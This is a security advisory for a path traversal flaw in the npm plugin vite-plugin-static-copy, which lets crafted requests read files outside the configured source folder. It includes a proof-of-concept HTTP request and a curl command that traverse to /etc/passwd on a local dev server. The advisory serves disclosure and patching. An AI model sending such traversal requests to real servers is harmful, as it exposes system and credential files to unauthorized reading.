fkie_cve-2025-57753

2026-09-28T17:27:28.722071+00:00

vite-plugin-static-copy is rollup-plugin-copy for Vite with dev server support. Files not included in src are accessible with a crafted request. The vulnerability is fixed in 2.3.2 and 3.1.2.

GHSA-pp7p-q8fx-2968 — vite-plugin-static-copy files not included in `src` are possible to access with a crafted request

2026-09-28T17:27:28.722154+00:00

Affected: npm: vite-plugin-static-copy

### Summary

Files not included in `src` was possible to access with a crafted request.

### Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) are affected.

Arbitrary files can be disclosed by exploiting this vulnerability.

### Details

Consider the following configuration in used by `vite.config.ts`:

```ts import { defineConfig } from 'vite' import { viteStaticCopy } from 'vite-plugin-static-copy'

export default defineConfig({ plugins: [ viteStaticCopy({ targets: [ { src: "./public/images", dest: "./", }, ], }), ], }); ```

The files under the `./public/images` is only expected to be served. Abusing this vulnerability, an attacker can access arbitrary files on the filesystem.

### PoC I've attached a demo app to showcase the bug.

Run it with `npm run dev` and issue the following HTTP request

``` GET /static/images/../../../../../../../etc/passwd HTTP/1.1 Host: localhost:3001 Content-Length: 2 ``` OR ``` curl --path-as-is -i -s -k -X $'GET' \ -H $'Host: localhost:3001' -H $'Content-Length: 2' \ --data-binary $'\x0d\x0a' \ $'http://localhost:3001/static/images/../../../../../../../etc/passwd' ``` Observe that the `/etc/passwd` file is included in the response.

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fkie_cve-2025-57753

GHSA-pp7p-q8fx-2968 — vite-plugin-static-copy files not included in `src` are possible to access with a crafted request